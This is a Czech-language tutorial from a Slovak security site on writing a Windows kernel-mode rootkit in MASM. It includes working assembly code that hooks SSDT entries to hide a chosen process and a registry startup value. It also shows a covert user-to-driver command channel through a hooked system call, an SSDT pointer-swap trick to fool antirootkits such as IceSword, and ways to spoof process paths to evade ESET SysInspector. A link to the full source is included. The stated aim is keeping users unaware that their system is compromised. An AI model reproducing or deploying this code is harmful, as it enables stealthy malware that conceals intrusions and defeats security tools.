Sociálne siete

SecIT.sk na Facebooku SecIT.sk na Google+ SecIT.sk na Twitteri

Podporte nás


V prípade, že Vám obsah nášho portálu niekedy nejakým spôsobom pomohol, či bol pre Vás prínosom prosím podporte jeho chod ľubovoľnou čiastkou. Ďakujeme!

Prihlásenie

Štítky

Vyhľadávanie

You are here

Domov
Upozornenie: Obsah je licenčne chránený a bez písomných súhlasov autora článku a vlastníka webovej stránky nesmie byť v žiadnej forme ďalej kopírovaný a šírený v pôvodnom, či v akokoľvek upravenom stave.

Píšeme rootkity v r0

V tomto článku si projdeme absolutně základní principy a fungování rootkitů v kernel mode - podíváme se na to, co je od rootkitů očekáváno a jak těchto očekávání dosáhnout. Rovněž si základní rootkit napíšeme a zaimplementujeme do něj nekteré krycí techniky a bypassneme tak například IceSword, či Eset SysInspector.

UPOZORNĚNÍ: NÁSLEDUJÍCÍ DOKUMENT JE URČEN POUZE PRO STUDIJNÍ ÚČELY. ZA JAKÉKOLIV ZNEUŽITÍ TOHOTO DOKUMENTU A JEHO SOUČÁSTÍ, VČETNĚ ZDROJOVÝCH KÓDU NENESE AUTOR ŽÁDNOU ZODPOVĚDNOST. ČLÁNEK NESMÍ BÝT KOPÍROVÁN BEZ POVOLENÍ AUTORA.

WARNING: FOLLOWING DOCUMENT IS INTENDED FOR STUDY PURPOSES ONLY. AUTHOR HAS NO RESPONSIBILITY FOR ANY ABUSE OF THIS DOCUMENT OR ITS PARTS INCLUDING SOURCE CODE. IT IS NOT ALLOWED TO COPY THIS DOCUMENT WITHOUT AUTHORS PERSMISSION.

if you do not agree, please close your eyes and try to close your browser ;)

© Lodus 2008 pro secit.sk

Píšeme rootkity v r0

Rootkit - důvody použití

Důvody existence rootkitů jsou snad všem zřejmé, ale jelikož je cílem tohoto článku vysvětlit a ozřejmit, jak rootkity pracují a jak je psát, není na škodu si připomenout, co vlastně mají dělat. Co má tedy rootkit za úkol? Úkolem rootkitu je skrýt činnost a projevy "škodlivého kódu". Důvod? Co největší a hlavně nejdelší nevědomost uživatele ohledně faktu, že je jeho systém napaden a zneužíván proti němu samotnému. V tomto díle si řekneme, jak skrýt pouze základní projevy a to, běžící proces a hodnotu v registru.

Hákování - pojem, praxe a tvrdá realita pro ring3 rootkity

V hákování spočívá celé provedení rootkitů, ať už v r3 nebo v r0. Psaní rootkitů v ring3 má několik nevýhod - jedná se zcela o neeficientní a neefektivní implementaci hákování pro potřebu skrytí kompromitujících dat viru. Situace je ilustrována na následujícím diagramu:

Jak si můžete všimnout, všechny procesy musí být zaháknuty r3 rootkitem, aby měl nějaký valný efekt - každý z procesů totiž představuje potenciální prohlížeč souborů, procesů, registrů, atp., který by mohl zobrazit právě ony kompromitující údaje ohledně přitomnosti viru - což je pochopitelně naprosto nepřípustné (vlastně jak pro koho, že? :)). Jaké strasti tedy použití ring3 rootkitů přináší?

1) proces viru nemusí mít dostatečná privilegia na to, aby pracoval se všemi procesy (debug privs, atp.)
2) napadený proces musí být upraven - zaháknut, některým z mnoha způsobů, které jdou ale velice dobře detekovat (pokud by tedy případný r3 rootkit nebyl na tuto možnost připraven)
3) nejzávažnější pro r3 rootkity je ale ten fakt, že user mode aplikace vůbec nemusí používat user mode funkce - mohou rovnou natvrdo přistupovat k funkcím jádra bez pomocných prostředníků, kterými jsou například kernel32.dll, advapi32 a nakonec i ntdll.dll.

Když se nad tím zamyslíme, příjdeme na to, že implementovat ring3 rootkit je spíše nebezpečné, zbytečné a příliš pracné na to, jaký minimální efekt může mít. Co s tím? Na tuto otázku je velice jednoduchá odpověď, prostě se přesuneme níže. Přesuneme se do jádra systému a tam teprve začne opravdová zábava. Proč právě do jádra? Právě tam míří volání všech esenciálních funkcí systému, aby si například "popovídali" s ovladači disku, když chce nějaký program načíst soubor, nebo načíst data systému, když chce nějaký program načíst informace o běžícím procesu, atd. Jak vlastně vypadá takové čtení souboru?

Program (explorer.exe) -> ReadFile (kernel32.dll) -> ZwReadFile (ntdll.dll) -> SYSENTER / Int 2Eh -> | (a jsme v ring0) (>SSDT>) NtReadFile (ntoskrnl.exe) -> drajvry, drajvry, drajvry...

S ring3 rootkitem zahákeme maximálně ZwReadFile, dál už se nedostaneme, avšak s driverem ano - s ním si můžeme zaháknout SYSTENTER / Int 2Eh, SSDT, inline hákama samotné funkce a klidně i samotné drivery. Jelikož všechna volání zmíněných esenciálních usermode funkcí volají jejich ekvivalent v jádru, je potřeba zaháknout jen ten. Což znamená, namísto hákování ZwReadFile ve všech procesech zahákneme jedinou funkci v jádru. Viz obrázek:

Ring0 aka KernelMode

Úvod do pekel

Nejprve bych chtěl trochu upřesnit oč jde. Zábava to sice bude, ale sranda rozhodně ne. Jakákoliv chyba, ať už sebemenší dříve nebo později způsobí BSOD, restart, prohledávání kódu, kompilaci, nahrání a vytvoření další služby - prostě koloběh "života", který u vývoje usermode aplikací tak častý není.

Abychom vůbec mohli začít, je nutné si projít seriály o psaní driverů, které napsal kolega Vrtulex, včetně článků SSDT - System Service Descriptor Table a článku o triku se SSDT, který rovněž využijeme pro skrytí před IceSwordem zde: Malý trik se SSDT, aneb jak RootkitUnhooker opět slavně zvítězil. Hlavní je obsah článků pochopit, pokud jste články četli a přesto vám unikají některé věci, tak se můžete pokusit pochopit vše z mého příkladu. Pro úplnost ještě dodávám, že uvedený příklad je napsaný v MASMu s použitím KmdKit od Four-F a WinAsm studia.

flOw

Pokud tuto hru neznáte, rozhodně ji zkuste, až budete mít pocit, že musíte vzít monitor a hodit jej z okna, tato hra Vám svou relaxační podstatou velice pomůže.

Píšeme r0 rootkit (konečně)

Hákujeme SSDT

Co SSDT je, už asi víte z článku od kolegy Vrtuleho, proto můžeme část věnovanou SSDT prospat. Dobře, dobře, tak si projdeme ty nejzákladnější věci, které budeme potřebovat. SSDT je struktura (panebože, struktura!), vypadá následovně:

struct SSDT_ENTRY 
{ 
	PULONG DispatchBase; 
	PULONG CounterBase; 
	ULONG  DispatchCount; 
	PCHAR ParamTable; 
}

Pointer na tuto strukturu je exportován z ntoskrnl pod jménem KeServiceDescriptorTable. Hodnota DispatchBase je pointer na pole ukazatelů na důležité funkce - tzv. DispatchTable. Hodnota DispatchCount je počet pointerů držených v DispatchTable. Když je volána Zw funkce, je načtena z DispatchTable adresa Nt ekvivalentu:

Program (explorer.exe) -> ReadFile (kernel32.dll) -> ZwReadFile (ntdll.dll) -> SYSENTER / Int 2Eh -> | SSDT->DispatchTable (NtReadFile) -> NtReadFile (ntoskrnl.exe) ...

Pokud tedy adresu v DispatchTable zaměníme za pointer na naši funkci, bude volána právě naše funkce. Takže naším jediným cílem je zaměnit adresu API za adresu naší funkce. Je tu ovšem několik háčků. První háček je, že paměť ve které SSDT je, je read-only. Musíme přenastavit EnableWrite bit v Cr0 registru na 1. Pak už můžeme zapisovat do SSDT, jak se nám zachce. Otázka ale zní: kam? Pořadí pointerů na funkce v DispatchTable není zdokumentováno. Jsme tak donuceni zdokumentovat si tabulku sami, nebo použít zase nějaký trik, který nám pomůže. V příkladu jsem použil trik stavějící na předpokladu a znalosti, jak fungují Zw API:

ZwReadFile

7C90E27C - b8 b7 00 00 00             - mov eax,000000b7
7C90E281 - ba 00 03 fe 7f             - mov edx,7ffe0300
7C90E286 - ff 12                      - call dword ptr [edx]
7C90E288 - c2 24 00                   - ret 0024

V EAX je uložen index adresy v DispatchTable (tedy to, co aktuálně potřebujeme), EDX ukazuje na rutinu se SYSENTER, případně Int 2e. Jelikož je ntdll.dll přítomna i v kernelu, můžeme si načíst adresu Zw API a dword obsahující index Nt API si z první instrukce MOV vytáhnout. Index stačí shiftnout o dva bity doleva, přičíst k DispatchBase a máme pointer na adresu dané Nt funkce v DispatchTable. Nyní stačí jen bezpečně vyměnit pointry na funkce.

Píšeme handlery

Jelikož jsme se dostali přesně mezi usermode aplikace a jádro systému, máme nad celým usermodem ohromnou moc. Můžeme upravit vše, co se nám jen zlíbí. Veškerá volání funkcí, které jsou pro nás nějakým způsobem důležité jdou přes nás - náš hák a náš hook handler... parametry, vstupy i výstupy, to vše máme nyní pod kontrolou. Je samozřejmé, že nebudeme upravovat nebo ignorovat veškerá volání těchto funkcí. Většinu z nich pustíme jádru ke zpracování a nerušeně je necháme, aby si dělaly co potřebují - musíme se chovat tiše. Kontrolovat vstupy, výstupy a volat originální funkce mají za úkol tzv. handlery - naše hákovácí funkce, na které jsme přesměrovali adresy v DispatchTable.

Zjednodušeně bychom si mohli představit hák a jeho handlování následovně. Předpokládejme funkci ZískejSeznamProcesů (byref Seznam). Aplikace zavolá funkci ZískejSeznamProcesů, ta si nějakým způsobem tyto informace zjistí, zapíše je do seznamu a ten vrátí aplikaci. Nyní předpokládejme, že jsme funkci ZískejSeznamProcesů vyměnili za Hook_ZískejSeznamProcesů, který vypadá následovně:

Hook_ZískejSeznamProcesů (byref Seznam)
 Call ZískejSeznamProcesů
 
 Projdi Seznam
   Je v Seznam "virus.exe" ?
   Ano: Smazat "virus.exe" ze seznamu

 Vrátit Seznam
Konec

Nejjednodušší a snad všem známý koncept háku, který budeme implementovat v našem prvním rootkitu. V případě, že je v seznamu nalezen náš proces, je ze seznamu vyňat a aplikace se tak o žádném "virus" procesu nedozví. Prosté - jen doprogramováváme některé systémové funkce, nic víc. My budeme skrývat proces a hodnotu v registru. Na to potřebujeme dva háky - NtQuerySystemInformation a NtEnumerateValueKey. Pokud ještě nejste zcela zžiti s Nt API, nebo neznáte principy fungování high level API, tak doporučuji stáhnout nějaký dasm a projít si knihovny jako kernel32, advapi32, kde velmi rychle zjistíte všechny návaznosti na Nt funkce.

Skrýváme proces

Protože jsme zatím v začátcích, není nic jednoduššího, než skrýt proces tak, že zahákneme NtQuerySystemInformation v případě, kdy je tato funkce volána s classou 5, tedy požadavek o výpis aktuálně běžících procesů, včetně nějakých těch detailů. Zmizíme tak nadobro z Task Manageru, Hijackthis, Process Exploreru atp. Abychom tohle dokázali, musíme vědět, jak vypadají výstupní data a jak je tedy správně filtrovat. U mnoha Nt API se můžeme setkat s "deltováním", v některých případech, jako například právě v tomto je velmi pohodlné. Jindy je zase velice otravné a bude nám zbytečně komplikovat naši práci.

V čem tedy deltování spočívá? Představme si bloky dat, uložené za sebou. Každý z nich je jinak dlouhý. Delta je rozdíl mezi začátkem následujícího a aktuálního bloku (tedy nic jiného, než délka aktuálního bloku) - po přičtení k ukazateli na aktuální blok tedy dostáváme ukazatel na blok další. V případě, že je blok poslední je delta rovna nule. NtQuerySystemInformation s classou 5 nám vrátí seznam procesů s jejich detaily právě ve struktuře na bázi deltování. My potřebujeme znát pouze některé členy této struktury:

Struct SYSTEM_PROCESS_INFORMATION
	offset	name		type
	0:	DELTA:		DWORD
	44h:	PID:		DWORD
EndS

To je vše, co potřebujeme vědět. Už vidíte kód? ;) Jasně, je to přesně tak, jak si myslíte - prostě budeme skákat po deltách a testovat, zda-li je dword na 68. bytu roven PIDu našeho chráněného procesu. V případě, že ano, přepíšeme deltu předchozího záznamu tak, aby ukazovala na záznam před námi (delty přičteme), případně ji vynulujeme (pokud je záznam poslední). Aplikace, která obdrží takovýto seznam bude skákat právě po deltách a načítat si detaily procesů - ovšem bez toho našeho. Jednoduché, efektivní, ale přesto velice dobře odhalitelné. Jak to?

1) jen jsme přepsali deltu, v seznamu jsou pořád naše údaje - ty ale můžeme smazat
2) jsme odhalitelní pomocí základních r3 antirootkit triků - některé z nich, jako je třeba bruteforcování OpenProcess můžeme snadno také obejít
3) antirootkity si na nás smlsnou

Jak tedy vypadá takový handler? Upozorňuji, že obsahuje jednu chybu, jedná se však o předpoklad, který snad bude vždy splněn. Kdo na to příjde? :) Pro úplnost ještě dodávám význam funkce Hook_ToModify, která pouze vyhodnotí požadované podmínky, pro umožnění prohledávání / úpravy výstupu.

Hook_NtQuerySystemInformation proc InfoType:DWORD, lpBuffer:DWORD, dwBufferSize:DWORD, pReqSize:DWORD
local dwRetVal: DWORD

push pReqSize
push dwBufferSize
push lpBuffer
push InfoType
call g_tHook_NtQSI.PtrToOriginal
mov dwRetVal, eax

;:: MODIFY RETURNED DATA :::::::::::::::::::::::::::::::::::::::::::::::::
invoke Hook_ToModify, eax, lpBuffer, InfoType, 5
.IF EAX
pushad
mov esi, lpBuffer
mov edi, esi ; esi = first entry
add edi, dword ptr[edi] ; edi = next entry

.WHILE dword ptr[EDI]
mov eax, dword ptr [EDI+68]
.IF EAX == G_HIDE_PID
.IF dword ptr[EDI]
mov eax, dword ptr[edi] ; eax = delta to hide
add dword ptr[esi], eax ; previous delta + delta to hide
.ELSE
mov dword ptr[esi], 0 ; no next entry, null delta
.ENDIF
jmp process_ok
.ENDIF
add esi, dword ptr[esi]
add edi, dword ptr[edi]
.ENDW
process_ok:
popad
.ENDIF

mov eax, dwRetVal
Ret
Hook_NtQuerySystemInformation EndP

Jakmile je výsledek volání funkce NtQuerySystemInformation prohnán přes handler uvedený výše, aplikace, které procházejí seznam pomocí delt nic neuvidí.

Skrýváme hodnotu registru

Jak určitě dobře víte, enum hodnot v klíči se přes high-level API provádí pomocí advapi32, konkrétně RegEnumValue. Když prozkoumáme cally v RegEnumValueW, narazíme na volání funkce NtEnumerateValueKey - na tu se zaměříme. Tato funkce je dokumentována v DDK, ovšem nastává otázka, na kterou classu se zaměřit - nejlépe na všechny. My se pro začátek a z demonstračních účelů podíváme pouze na classu KeyValueFullInformation = 1, která je použitá pro enum hodnot například v Hijackthis, atp. Vše co potřebujeme o struktuře této classy vědět:

Struct KEY_VALUE_FULL_INFORMATION
	offset	name		type
	10h:	NameLen	DWORD
	14h:	Name[]		WCHAR
EndS

Tato struktura v sobě drží informace pouze o jedné hodnotě v klíči. Pro výpis všech hodnot v klíči je tedy nutné volat NtEnumerateValueKey tolikrát, kolik je v klíči hodnot, popřípadě do té doby, než tato funkce nevrátí STATUS_NO_MORE_ENTRIES. To pro nás znamená z prvního pohledu ohromnou výhodu, z druhého, že to taková výhoda není a z pohledu třetího zjistíme, že kvalitní řešení tohoto problému spotřebuje mnohem více myšlení, než jsme prvně mysleli a to hlavně kvůli multithreadingu. O těchto problémech si můžete přečíst v kolegově článku Vývoj ovladačů jádra 3. díl - synchronizace. Nejjednodušší řešení je využít správného chování aplikací, které testují návratovou hodnotu funkce na úspěch, většina programů ani nepípne, když dojde k chybě, prostě pokračují další hodnotou - co lepšího si přát?

Hook_NtEnumerateValueKey proc hKeyHandle:DWORD, dwIndex:DWORD, dwKeyValInfoClass:DWORD, lpBuffer:DWORD, dwLen:DWORD, dwOutResLen:DWORD
local dwRetVal: DWORD

push dwOutResLen
push dwLen
push lpBuffer
push dwKeyValInfoClass
push dwIndex
push hKeyHandle
call g_tHook_NtEVK.PtrToOriginal
mov dwRetVal, eax

invoke Hook_ToModify, eax, lpBuffer, dwKeyValInfoClass, 1
.IF EAX
pushad
mov esi, lpBuffer
.IF dword ptr[esi+16] == sizeof C_SU_STARTUPVAL-2
mov eax, esi
add eax, 20

invoke RtlCompareMemory, addr C_SU_STARTUPVAL, eax, sizeof C_SU_STARTUPVAL-2
.IF EAX == sizeof C_SU_STARTUPVAL-2
mov eax, dword ptr[esi+12]
mov dword ptr[esi+12], 0
add esi, dword ptr[esi+8]
invoke RtlZeroMemory, esi, eax

mov dwRetVal, STATUS_INVALID_PARAMETER
.ENDIF
.ENDIF
popad
.ENDIF

mov eax, dwRetVal
Ret
Hook_NtEnumerateValueKey EndP

Tento handler funguje velice jednoduše, nejprve otestuje, zda-li jméno hodnoty, která je vrácena NtEnumerateValueKey má stejnou délku, jako jméno hodnoty, kterou chceme schovat, v pozitivím případě porovnáme oba řetězce, řetězec který chceme skrýt je definován identifikátorem C_SU_STARTUPVAL. V případě, že jsou stejné můžeme hodnotu vynulovat a vrátíme STATUS_INVALID_PARAMETER.

V této chvíli bychom neměli být vidět ve většině programů - výsledek je absolutně základní rootkit napsaný těmi nejzákladnějšími možnostmi. Ovšem nám zůstává několik otázek. Abychom mohli skrýt proces, musíme znát jeho PID. Otázkou je, jak co nejjednodušeji driveru říct, který PID má skrýt - tedy, jak s driverem (rootkitem) co nejjednodušeji komunikovat.

Komunikace s rootkitem

Nejjednodušší ukázka chování dropperu je taková, kdy se po jeho spuštění vyextrahuje driver (např. z resource), je načten do jádra a po ovladači se chce, aby tento dropper skryl - ten pak povětšinou začne s různou nekalou činností. Otázkou je, jak dropper driveru řekne, jaký má PID? Mohl by PID zapsat přímo do souboru driveru, nebo použít některý z konvenčních způsobů, jako je dorozumívání pomocí trubek, registrů, souborů, devicio, atp. Tyto konvenční způsoby mají jednu velkou nevýhodu - nemám je rád. Osobně dám přednost přímému volání funkce, než použít prostředníka. Jak ale volat funkci driveru z aplice běžící v usermode? Jednoduše. Zahákneme nějakou moc nepoužívanou Nt API a (s)prostě ji využijeme - handler bude při speciálních vstupních datech fungovat jako komunikační rozhraní. Pro tento účel jsem zvolil funkci NtFlushInstructionCache. Obsahuje tři parametry. Vůbec nás nemusí zajímat, co funkce dělá, nebo jaké parametry má. Tři parametry jsou pro tento účel naprosto perfektní, v prvním pošleme magickou hodnotu - například "RKIT" (&H524B4954), v druhém parametru pošleme identifikátor funkce, ve třetím její parametr:

Communicate_Hook_NtFlushInstructionCache proc \
    ddA:DWORD, ddB:DWORD, ddC:DWORD
    .IF ddA == "RKIT"                      ; codename "RKIT"
        .IF ddB == "PID:"                   ; PID command
            mov eax, ddC
            mov G_HIDE_PID, eax        ; save PID to hide
        .ENDIF
        
        mov eax, 0
    .ELSE
        push ddC			     ; original call
        push DDB
        push ddA
        Call g_tHook_NtFIC.PtrToOriginal
    .ENDIF
Ret
Comunicate_Hook_NtFlushInstructionCache EndP

Jednoduché a efektivní. Nyní můžeme bez problémů automaticky skrýt libovolný proces podle potřeby aplikace v usermode.

Antirootkity

Problémy...

Všichni je známe, teď už i přesně víme, proti čemu jsou určené. Otázkou nyní je, jak přesně nás antirootkity ohrožují a jak detekují, že je v sýstemu rootkit. Doufám, že si uvědomujete tu jednoduchost hákování SSDT - proto je ve většině antirootkitů tato tabulka vypsána celá, včetně položky "Zaháknuto Ano / Ne", což je první větší problém. Antirootkity rády testují procesy, zda-li se některý z nich neskrývá a protože my pomocí rootkitu, který hákuje SSDT proces skrýváme, máme další problém. Je zde však jedno velké "ale". Podobně, jako různé r3 programy, např. náš oblíbený Hijackthis, obsahují i antirootkity chyby, nedodělky, špatné předpoklady, nebo zcela nepochopitelné hlouposti. Ovšem si také musíme uvědomit, že vývoj r0 rootkitů není tak "průhledný", jako psaní virů v usermode.

IceSword

- vývoj tohoto antirootkitu byl již ukončen relativně dávno a obsahuje tedy určitá, řekněme negativa, která některé funkce v IceSwordu velice degradují. IceSword je však stále používán a proto bychom si mohli povědět o dvou tricích, které na něj fungují.

Skrývání změn v SSDT má pro nás velkou výhodu, antirootkity uživatele neupozorní na to, že je SSDT změněna, tudíž se uživatel nedozví o zaháknutých funkcích a náš rootkit zůstane bez povšimnutí. IceSword a mnoho jiných antirootkitů jsou náchylné právě k oklamání pomocí tohoto triku, který je navíc velice snadné implementovat. Jedná se o trik o kterém jsem mluvil v úvodu - tedy byste měli znát teorii, kterou nyní převedeme do praxe. Raději ještě celou teorii shrnu do podstatných informací.

SSDT jsou dvě - SSDT a SSDTS. Na SSDT ukazuje KeServiceDescriptor, ta ukazuje na DispatchTable, kterou statečně hákujeme; SSDT je používána z prvu všemi vlákny. Vlákna, která prošla GUI API se "přepnou" a začnou používat SSDTS. SSDTS má tu ohromnou výhodu, že používá tu samou DispatchTable, jako SSDT:

Co se stane, když SDDTS bude ukazovat na jinou DispatchTable? Nic. Bude to všechno fungovat stále normálně dál. Co se stane, když zahákneme právě funkce v SSDTS?

Antirootkit si načte KeServiceDescriptor, podívá se na SSDT, na DispatchTable a zjistí, že je vše v pořádku. Ale vlákna, která už prošla nějakými grafickými funkcemi používají SSDTS, která je zaháknutá! Prostě a jednoduše, antirootkitům podstrčíme originální nezaháknutou SSDT a pro systém - vlákna použijeme háknutou DispatchTable. Prosté, jednoduché a efektivní. Jak taková implementace může vypadat:

HideSSDTTrick proc uses esi edi lpSSDT:DWORD, lpNewSSDT:DWORD
local dwDTSize: DWORD

mov esi, lpSSDT
.IF lpNewSSDT == 0
mov eax, dword ptr[esi+8] ; eax = DispatchCount
shl eax, 2 ; eax = size of DispatchTable
mov dwDTSize, eax

invoke ExAllocatePool, NonPagedPool, eax
.IF EAX
mov edi, eax
invoke RtlMoveMemory, edi, dword ptr[esi], dwDTSize
mov eax, edi
.ENDIF
.ELSE
mov edi, lpNewSSDT
lock xchg dword ptr[esi], edi ; [esi] = DispatchBase, edi = NewDispatchBase
.ENDIF
Ret
HideSSDTTrick EndP

Tato funkce má dva stavy. První, kdy se nejprve kopíruje originální SSDT - neupravená, kteoru předhodíme antirootkitům. A stav druhý, po té, co jsou všechny funkce zaháknuty, je zaměněn ukazatel SSDT DispatchTable na originální neupravenou. Skromná funkce na ovládnutí celé SSDT může vypadat třeba následovně:

HookSSDT proc uses esi edi dwHook:DWORD
invoke GetSSDT, 0
mov esi, eax

invoke HideSSDTTrick, esi, 0
mov edi, eax

push esi
mov esi, dword ptr[esi] ; esi = ptr to DispatchTable
invoke HookSSDTEntry, esi, addr ZwQuerySystemInformation, addr Hook_NtQuerySystemInformation, addr g_tHook_NtQSI, dwHook
invoke HookSSDTEntry, esi, addr ZwEnumerateValueKey, addr Hook_NtEnumerateValueKey, addr g_tHook_NtEVK, dwHook
invoke HookSSDTEntry, esi, addr ZwFlushInstructionCache, addr Comunicate_Hook_NtFlushInstructionCache, addr g_tHook_NtFIC, dwHook
pop esi
invoke HideSSDTTrick, esi, edi
Ret
HookSSDT EndP

Parametr dwHook specifikuje, zda-li se má daná funkce zaháknout, nebo naopak odháknout. GetSSDT vrátí pointer na SSDT, tu nakopírujeme, zahákneme funkce a vyměníme pointery SSDT DispatchTable na čistou DisaptchTable. SSDTS stále ukazuje na tu původní zaháknutou, takže je vše tak, jak by pro nás mělo být.

Ring3 cirkus
Zajímavé je, že některé antirootkity částečně, nebo úplně spoléhají na údaje měnitelné v ring3. V IceSwordu to není tak hrozné, jako by bral informace z PEBu, ale cestu spustitelného souboru načítá ze jména FileMappingu. Což znamená, že cestu spustitelného souboru procesu můžeme mít v podstatě libovolnou - stejný efekt jako když změníme strukturu PEB pro Hijackthis. Změna jména filemappingu není taková trivialita, jako PEB - vyžaduje už nějaké ty dovednosti, než jen upravovat strukturu. FileMapping objekt není z usermode přepisovatelný, nedá se tak bez driveru měnit jeho jméno, ale nic nám nebrání, abychom svůj modul odmapovali, namapovali tam jiný a ten v paměti přepsali zpět na ten náš, čímž získáme FileMapping libovolného jiného souboru, například oblíbeného svchost.exe a přesto tam bude nahraný náš soubor. Výsledek si můžete prohlédnout na tomto screenshotu.

Eset SysInspector

Jen ze zajímavosti pro techniky Esetu (greetz) a samozřejmě i pro Vás ostatní - malá ukázka, že i tento slibně vypadající program s antirootkit jádrem má několik vážných slabin, podobného rázu jako výše zmíněný Ring3 cirkus s IceSwordem. Z mírně nepochopitelných důvodů je pro získávání cesty ke spustitelnému souboru procesu použita funkce GetModuleFileNameEx, čímž seznam procesů řadí na stejnou informační hodnotu, jako Hijackthis. To ale není to nejzajímavější. To nejzajímavější nastává až tehdy, kdy je v systému přítomen rootkit a skrývá proces. Proces skrytý pomocí SSDT háku a jeho vyřazení pomocí deltování odhalí! Ovšem, pokud má proces v PEBu jako cestu uvedenou nějaký z MS souborů, je tato skutečnost ignorována - proces zmizel (screenshot). Ale abych nebyl příliš negativistický, SI si to vynahrazuje jinak (zatím přesně nevíme jakým způsobem přesně, ale v článku věnovaném testování antirootkitů si to určitě řekneme a obejdeme to), dokáže odhalit skrytý záznam v registru a tehdy jsme nahraní.

Závěr

Každý z antirootkitů obsahuje nějaké ty chyby, například DarkSpy (nevím, jak je to s aktuální verzí) také bojuje s problémy ring3 cirkusu u běžících procesů, starší verze GMERu také, ale každý z nich je lepší v něčem jiném a převyšuje tak ostatní. Který z antirootkitů bychom Vám tedy doporučili? Především RootkitUnhooker, GMER a RootRepeal a jakmile bude připraven i detektor skrytých souborů FileDetector kolegy Vrtuleho, tak i ten ;).

Download

Stahovat kompletní zdrojový kód v MASMu můžete zde:
http://www.secit.sk/sites/default/files/basic_rootkit.asm_.txt

Dotazy směřujte prosím sem do komentářů, popřípadě do fóra.

Komentáre

Ahoj, je nejaka moznost ako nieco s r0 skusat v Delphi?

Ahoj! Když to vezmeme kolem a kolem, určitě by se Delphi nějakým způsobem dalo donutit vytvořit driver. Zatím jeden z možných postupů je, ručně nalinkovat obj vytvořené Delphi některým jiným linkerem. S kolegou Vrtulem jsme se o tom již bavili a snad v budoucnu zbyde trochu času zrealitovat nějaký kompletní template pro Delphi.

Kdysi (myslím, že na stránkách hackerdefenderu) existoval projekt s názvem DelphiDDK, který se tímhle zabýval a dosáhli docela zajímavého pokroku. Ale používat ho nebylo snadné (kompilovalo se přes příkazovou řádku). Jinak i v Delphi lze samozřejmě docílit, aby byl kód vykonáván v Ring 0, ať už pomocí callgate či přepsáním určité fyzické paměti (a určitě existují i jiné způsoby).

Upozorňuji, že obsahuje jednu chybu, jedná se však o předpoklad, který snad bude vždy splněn. Tou chybou je myslený implicitný prepodklad preskočenia, resp. nekontrolovanie PID prvého systémového procesu?

presne tak

Podporte nás


Páčil sa Vám tento článok? Ak áno, prosím podporte nás ľubovoľnou čiastkou. Ďakujeme!


ITC manažer Security-portal.cz Spamy.cz PHP Fushion Soom.cz
Hoax.cz Antivirove centrum Crypto-world.info SPYEMERGENCY.com